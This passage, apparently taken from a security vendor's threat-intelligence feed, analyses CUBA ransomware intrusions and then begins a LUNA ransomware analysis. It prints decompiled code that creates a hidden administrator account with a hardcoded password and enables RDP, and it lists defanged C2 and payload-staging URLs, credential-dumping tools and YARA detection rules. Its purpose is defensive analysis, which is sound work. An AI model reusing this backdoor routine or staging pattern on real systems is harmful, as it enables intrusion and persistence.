<p>Enumerates local administrator and RDP groups.</p>
<pre><code> WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
</code></pre>
<p>Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).</p>
<pre><code>  wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )
</code></pre>
<p>Adds this user to the previously enumerated local administrative and RDP groups.</p>
<pre><code> if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
</code></pre>
<p>Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.</p>
<pre><code> hide_accountName(username); regkey
</code></pre>
<p>Enables RDP by setting the <code>fDenyTSConnections</code> value to false in the Registry.</p>
<pre><code>return enable_RDP();
</code></pre>
<p>In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.</p>
<p>Additionally, VirusTotal indicated on the <a href="https://www.virustotal.com/graph/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da">graph page</a> that this file has been hosted at <code>http://208.76.253[.]84</code>.</p>
<p>Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7879f0d4300a75aa/6a7c7b33227b1c403a5925cb/image8-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (​​content:{463a5c536f757263655c576f726b4e65773137}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2ff5d87878d49fab/6a7c7b36bdcff028fac3cfe9/image9-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>VirusTotal shows on the <a href="https://www.virustotal.com/graph/http%253A%252F%252F108.170.31.115%252Fadd.dll">graph page</a> that this file has been hosted at `http://108.170.31[.]115/add.dll``. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also <a href="https://www.virustotal.com/gui/ip-address/108.170.31.115/relations">reported</a> distributing ra.exe (see the NetSupport section below).</p>
<p>Using this same search criteria, we were able to locate <a href="https://any.run/report/bd270853db17f94c2b8e4bd9fa089756a147ed45cbc44d6c2b0c78f361978906/e1579345-7571-4dcb-af4c-e74a4a81d804">three</a> <a href="https://any.run/report/2213db3f856cbed85a52cfa0275fa6eaba8e852a7e78449ab469d85d1945dc80/ed6077c3-6e2a-4f74-a761-cc0a354cc159">other</a> <a href="https://www.joesandbox.com/analysis/417560/1/html">files</a> with the same PDB debugging artifacts.<a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"><u>SystemBC</u></a> is a socks5 backdoor with the ability to communicate over TOR.</p>
<h2 id="remoteaccesstools">Remote Access Tools</h2>
<p>After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.</p>
<h3 id="systembc">SystemBC</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"><u>SystemBC</u></a> is a socks5 backdoor with the ability to communicate over TOR.</p>
<p>It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc76a23484d63c55d/6a7c7b2a73d9bd5dc7297b3e/image10-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).</p>
<blockquote>
  <p>Check out AhnLab’s ASEC blog for <a href="https://asec.ahnlab.com/en/33600/">detailed coverage of SystemBC’s features</a>.</p>
</blockquote>
<p>Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc1617940615ddcf7/6a7c7b39bd2198126d7521d3/image15-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.</p>
<pre><code>…truncated…
BEGINDATA
HOST1:104.217.8[.]100
HOST2:104.217.8[.]100
PORT1:5050
…truncated…
193.23.244[.]244
86.59.21[.]38
199.58.81[.]140
204.13.164[.]118
194.109.206[.]212
131.188.40[.]189
154.35.175[.]225
171.25.193[.]9
128.31.0[.]34
128.31.0[.]39
/tor/status-vote/current/consensus
/tor/server/fp/
…truncated…
</code></pre>
<p>The values of HOST1 and HOST2 are <a href="https://bazaar.abuse.ch/sample/6b36e8569a8b6150d760c3cfa1f23ff6072d2ab3bedd3633dc269ea6fd5fff9e/"><u>well-documented</u></a><a href="https://otx.alienvault.com/indicator/file/b9446c5f3fb7dd19e9f495d88431df2f0899ecb2"><u> infrastructure</u></a> for the SystemBC tool. The list of 10 IP addresses is Tor <a href="https://metrics.torproject.org/glossary.html#directory-authority"><u>directory authorities</u></a>. One IP address is selected from the list to get the <a href="https://metrics.torproject.org/glossary.html#consensus"><u>consensus data</u></a> for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).</p>
<p>While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.</p>
<h3 id="gotoassist">GoToAssist</h3>
<p><a href="https://en.wikipedia.org/wiki/RescueAssist"><u>GoToAssist</u></a> is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb9b1e0c88cda1c2d/6a7c7b3c51156a57cc2bc802/image21-cuba-ransomware-elastic.png" alt="" /></p>
<h3 id="netsupport">NetSupport</h3>
<p>NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07df3b880ffb8234/6a7c7b3fe3a2198bb6999662/image4-cuba-ransomware-elastic.png" alt="" /></p>
<p>Our sample is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat"><u>NetSupportManager RAT</u></a> as indicated on <a href="https://www.virustotal.com/gui/file/5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378"><u>VirusTotal</u></a> and corroborates <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware"><u>prior reporting</u></a> of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that</p>
<h3 id="cobaltstrike">Cobalt Strike</h3>
<p>Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the <a href="https://docs.elastic.co/en/integrations/endpoint"><u>Target.process.thread.Ext.start_address_bytes</u></a> (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.</p>
<p>When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by <a href="https://twitter.com/drb_ra/status/1482117406122201095"><u>previous </u></a><a href="https://www.darktrace.com/en/inside-the-soc/how-antigena-intercepted-and-delayed-a-cobalt-strike-intrusion/"><u>research</u></a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt12b48089b886f94e/6a7c7b42b4377093094d0f50/image6-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blted3e4c9d1e361c79/6a7c7b45ead8ecfbe5ba4845/image3-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Looking at the domains in Shodan ([<a href="https://www.shodan.io/search?query=mvnetworking.com"><u>1</u></a>][<a href="https://www.shodan.io/search?query=bluetechsupply.com"><u>2</u></a>]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt755b126d3a3edbc0/6a7c7b4796b5a6bbf08754c2/image25-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt814dbb5c31b6a823/6a7c7b4a9f5251961d663f80/image13-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.</p>
<h3 id="bughatch">BUGHATCH</h3>
<p>BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware"><u>UNC2596</u></a>. We detail the observed execution chain and indicators below.</p>
<p>BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (<code>http://64.235.39[.]82/Agent32.bin</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt040235eb10fe407b/6a7c7b4c51156aadcb2bc806/image26-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (<code>http://64.235.39[.]82/Agent32.bin</code>). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt05b61e22e437458c/6a7c7b4f33fa8a24741fc865/image2-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbaed5bfdd85fba3e/6a7c7b52bdcff01029c3cfed/image28-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt611e5a3bfc9b7fca/6a7c7b54227b1c79295925d1/image17-cuba-ransomware-elastic.png" alt="" /></p>
<blockquote>
  <p>For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a <a href="https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/">SpawnTo parameter</a> in Cobalt Strike process injection configurations.</p>
</blockquote>
<p>This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source\, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.</p>
<p>Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been <a href="https://www.mandiant.com/resources/unc2596-cuba-ransomware"><u>covered in the UNC2596 blog</u></a> by the team at Mandiant.</p>
<h2 id="credentialharvestinginternalreconnaissanceandlateralmovement">Credential Harvesting, Internal Reconnaissance, and Lateral Movement</h2>
<p>Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.</p>
<h3 id="meterpreter">Meterpreter</h3>
<p>As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the <a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/#:~:text=SYSTEM%0Ameterpreter%20%3E-,hashdump,-The%20hashdump%20post"><u>hashdump module</u></a>. As previously, this was observed in the Target.process.Ext.memory_region.strings fields.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc0d98ed7858048f3/6a7c7b57de2315d2c3fd1d1c/image18-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="mimikatz">Mimikatz</h3>
<p>Similarly to the Meterpreter tool markings, we also observed <a href="https://attack.mitre.org/software/S0002/"><u>Mimikatz</u></a>. Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the <a href="https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords"><u>SEKURLSA::LogonPasswords</u></a> module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f5f4ec673bcd741/6a7c7b5a33fa8a25d41fc86b/image22-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="zerologonexploit">Zerologon Exploit</h3>
<p>Next the threat actors attempted to use a file called zero.exe, which is used to exploit the <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472"><u>Zerologon vulnerability</u></a> to escalate privileges. This file is referenced in <a href="https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/"><u>previous reporting</u></a> and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.</p>
<h3 id="psexec">PsExec</h3>
<p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec"><u>PsExec</u></a> is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.</p>
<p>While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb2c98e2b6665b9e5/6a7c7b5c80ee38b4fe60d0b4/image5-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="usinglolbas">Using LOLBAS</h3>
<p><a href="https://lolbas-project.github.io/#"><u>Living off the land binaries, scripts, and libraries (LOLBAS)</u></a> is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.</p>
<p>In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta5b4f92b04151753/6a7c7b5ffc63ab684c646e62/image11-cuba-ransomware-elastic.jpg" alt="" /></p>
<h2 id="dataexfiltration">Data Exfiltration</h2>
<p>The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.</p>
<p>In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.</p>
<p>The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb01dd2817d76dec8/6a7c7b62e02facd4485d0401/image7-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltef46cf1e40674165/6a7c7b65de2315b33ffd1d20/image20-cuba-ransomware-elastic.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07df8b1fa746076a/6a7c7b68227b1c59ec5925d5/image12-cuba-ransomware-elastic.jpg" alt="" /></p>
<p>There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.</p>
<h2 id="defenseevasionandactionsontheobjective">Defense Evasion and Actions on the Objective</h2>
<h3 id="defendercontrolexe">DefenderControl.exe</h3>
<p>To prevent the detection of their malware, the threat actors used <a href="https://www.sordum.org/9480/defender-control-v2-1/"><u>Defender Control</u></a> as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.</p>
<p>To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d2693a42ad6ad50/6a7c7b6b4c4bfb8725cc77ef/image1-cuba-ransomware-elastic.jpg" alt="" /></p>
<h3 id="cubaransomware">CUBA Ransomware</h3>
<p>We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample <a href="https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis">here</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf89000529a0ec44/6a7c7b6d2f00b208e0ef8d76/image223-cuba-ransomware-elastic.jpg" alt="" /></p>
<h2 id="diamondmodel">Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf"><u>Diamond Model</u></a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb384137acc45f696/6a7c7b70e88c65560f00575d/image224-cuba-ransomware-elastic.png" alt="" /></p>
<h2 id="observedadversarytacticsandtechniques">Observed Adversary Tactics and Techniques</h2>
<h3 id="tactics">Tactics</h3>
<p>Using the MITRE ATT&amp;CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>Initial access</li>
<li>Persistence</li>
<li>Privilege escalation</li>
<li>Defense evasion</li>
<li>Credential access</li>
<li>Discovery</li>
<li>Lateral movement</li>
<li>Command &amp; Control</li>
<li>Exfiltration</li>
<li>Impact</li>
</ul>
<p>It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.</p>
<h3 id="techniquessubtechniques">Techniques / Sub Techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<p>As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.</p>
<p>Observed techniques/sub techniques.</p>
<ul>
<li>Exploit Public-Facing Application</li>
<li>Command and Scripting Interpreter - PowerShell, Windows Command Shell</li>
<li>Scheduled Task/Job - Scheduled Task</li>
<li>Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder</li>
<li>Create Account - Local Account</li>
<li>OS Credential Dumping - LSA Secrets</li>
<li>Data Encrypted for Impact</li>
<li>Hide Artifact - Hidden Window</li>
<li>Masquerading - Match Legitimate Name or Location</li>
<li>Obfuscated Files or Information</li>
<li>Reflective Code Loading</li>
</ul>
<h2 id="detection">Detection</h2>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.</p>
<pre><code>rule Windows_Trojan_Bughatch {
    meta:
        author = "Elastic Security"
        creation_date = "2022-05-09"
        last_modified = "2022-05-09"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Bughatch"
        threat_name = "Windows.Trojan.Bughatch"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
    strings:
        $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
        $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
        $b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
        $c1 = "-windowstyle hidden -executionpolicy bypass -file"
        $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe"
        $c3 = "ReflectiveLoader"
        $c4 = "\\Sysnative\\"
        $c5 = "TEMP%u.CMD"
        $c6 = "TEMP%u.PS1"
        $c7 = "\\TEMP%d.%s"
        $c8 = "NtSetContextThread"
        $c9 = "NtResumeThread"
    condition:
        ($a1 or $a2 or $b1) or 6 of ($c*)
}

rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample =
"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
      $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
      $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}
</code></pre>
<h2 id="defensiverecommendations">Defensive Recommendations</h2>
<ul>
<li><p>Enable Elastic Security Memory and Ransomware protections</p></li>
<li><p>Review and ensure that you have deployed the latest Microsoft Security Updates</p></li>
<li><p>Maintain backups of your critical systems to aid in quick recovery</p></li>
<li><p>Attack surface reduction</p></li>
<li><p>Network segmentation</p></li>
</ul>
<h2 id="observations">Observations</h2>
<p>Atomic indicators observed in our investigation.</p>
<p>|
| |
| Indicator | Type | Reference from blog | Note |
| --- | --- | --- | --- |
| 43f7d739f00c2fdc67f7ab6b976565a323a181fb6570ac3d261dff197f820165 | SHA-256 | afk.ttf | |
| 159.203.70[.]39 | ipv4-addr | afk.ttf C2 IP | |
| 728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da | SHA-256 | add2.exe | |
| 208.76.253[.]84 | ipv4-addr | add2.exe C2 IP | |
| c24d7a93d6a5c33e673e6b0fd171701c4646e67cf2328f41739ef9b50302a02e | SHA-256 | add.dll | |
| 108.170.31[.]115 | ipv4-addr | add.dll C2 IP | |
| 62f1fbb6f151bcc67fe68e06031af00bc87ae7e4d9d0a6a60a31d140def09365 | SHA-256 | 94-79.dll | |
| 5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378 | SHA-256 | ra.exe | |
| 9c71b67411b1432931b4b135dc945f6f7f9da3c295a7449f3ab8dcb56681fa70 | SHA-256 | cps.exe | |
| e35632770a23d8e006e149b038c2ccf576c2da0998d830bbc7d7614dc5c22db5 | SHA-256 | 14931s.dll | |
| 38.108.119[.]121 | ipv4-addr | Agent32.bin stage location | |
| 64.235.39[.]82 | ipv4-addr | Agent32.bin stage location | |
| 17edf458f7b8baae5ddef725e255d3a7bb6c960830503556f157655308895128 | SHA-256 | Agent32.bin (BUGHATCH) | |
| 2e6fffad384cd6ce93cc1cde97911063e640c1953dac0507cd5f5b4b3d21bb69 | SHA-256 | Agent32.bin (BUGHATCH) | |
| 144.172.83[.]13 | ipv4-addr | Agent32.bin C2 IP | |
| 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0 | SHA-256 | zero.exe | |
| cdf2b3fbff2649a119051c63904476e70262bde2f6a9a7da8b7db13cbf257851 | SHA-256 | d478.dll | |
| 104.217.8[.]100 | ipv4-addr | SystemBC infrastructure | |
| 193.23.244[.]244 | ipv4-addr | SystemBC Tor directory authority | |
| 86.59.21[.]38 | ipv4-addr | SystemBC Tor directory authority | |
| 199.58.81[.]140 | ipv4-addr | SystemBC Tor directory authority | |
| 204.13.164[.]118 | ipv4-addr | SystemBC Tor directory authority | |
| 194.109.206[.]212 | ipv4-addr | SystemBC Tor directory authority | |
| 131.188.40[.]189 | ipv4-addr | SystemBC Tor directory authority | |
| 154.35.175[.]225 | ipv4-addr | SystemBC Tor directory authority | |
| 171.25.193[.]9 | ipv4-addr | SystemBC Tor directory authority | |
| 128.31.0[.]34 | ipv4-addr | SystemBC Tor directory authority | |
| 128.31.0[.]39 | ipv4-addr | SystemBC Tor directory authority | |
| bluetechsupply[.]com/components/temp.png | url | Cobalt Strike C2 URL | |
| bluetechsupply[.]com | domain-name | Cobalt Strike C2 | |
| 217.79.243[.]148 | ipv4-addr | Cobalt Strike C2 | |
| mvnetworking[.]com | domain-name | Cobalt Strike C2 | |
| mvnetworking[.]com/files/dhl.jpg | url | Cobalt Strike C2 URL | |
| 149.255.35[.]131 | ipv4-addr | Cobalt Strike C2 | |
| ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4 | SHA-256 | defender.exe \ DefenderControl.exe | |
| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA-256 | A.exe \ (CUBA RANSOMWARE) | |
| b16e0d27e6fa24d3fe7c9ed9167474fbc1cde13ce047878bbd16548cfdf45be3 | SHA-256 | Anet.exe(CUBA RANSOMWARE) | |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/cuba-ransomware-campaign-analysis</link>
    <guid isPermaLink="false">cuba-ransomware-campaign-analysis</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Derek Ditch,Seth Goodwin,Salim Bitam,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8f1c7431ed5980d4/6a7c7b73448e4e26f55baa8c/blog-thumb-hard-drives.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 08 Sep 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[LUNA Ransomware Attack Pattern Analysis]]></title>
    <description><![CDATA[In this research publication, we'll explore the LUNA attack pattern — a cross-platform ransomware variant.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key Takeaways</h2>
<ul>
<li>LUNA is ransomware that achieves cross-platform capabilities through its development in Rust</li>
<li>The Windows capabilities are comparable to other ransomware peers</li>
<li>The Linux capabilities, while functional, are less elegant than the Windows variant</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>LUNA Ransomware, which Elastic tracks as REF5264, is a Rust-based ransomware first identified by Kaspersky in <a href="https://securelist.com/luna-black-basta-ransomware/106950/">their report</a> introducing it in July 2022. Rust as a programming language is known in the developer community for being simpler to implement cross-platform software to work on various target operating systems. It’s able to do this through a convenient cluster of tools that abstract away some operating system peculiarities, likely allowing the malware author to focus more on core functionality.</p>
<p>From the Kaspersky report we were able to collect two LUNA Ransomware samples: (1) a Linux ELF binary, and (2) a Windows PE executable.</p>
<p>This research covers:</p>
<ul>
<li>Execution and behavior of each sample</li>
<li>Description of the encryption mechanism</li>
<li>Comparison across our samples</li>
<li>Comparison to other ransomware</li>
<li>Detection opportunities</li>
</ul>
<h2 id="executionchain">Execution Chain</h2>
<p>In the following sections, we'll describe both the Linux and Windows execution chains.</p>
<h3 id="linuxexecution">Linux execution</h3>
<p>Our Linux sample required an argument to execute. The options were <strong>-file [file]</strong> to encrypt a single file, or <strong>-dir [directory]</strong> to walk and encrypt the contents of a specified directory and drop a ransom note. If executed with no arguments, Linux LUNA returns a help page with instructions to use one of the two available arguments. If executed with both the <strong>-file</strong> and <strong>-dir</strong> arguments (including multiple files or directories), all arguments are used.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9e40a85ca8c95fcc/6a7c89c5fc63ab21a4647064/image7.jpg" alt="LUNA instructions" title="LUNA instructions" /></p>
<p>There are no functional protections against encrypting system directories or files. We were able to demonstrate this through encryption of <strong>/etc</strong>. The execution loop continued as expected until it encrypted the <strong>shadow</strong> and <strong>sudoers</strong> files and the process was unable to verify privileges for further file access. The test machine then became unresponsive and required reverting to a prior snapshot. Encryption of these critical system files prevents further encrypting of privileged files and directories the malware attempts to access.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55b71d5dfea7ac7e/6a7c89c85967e52bf25d7637/image12-1.jpg" alt="LUNA ransomware flow for Linux" title="LUNA ransomware flow for Linux" /></p>
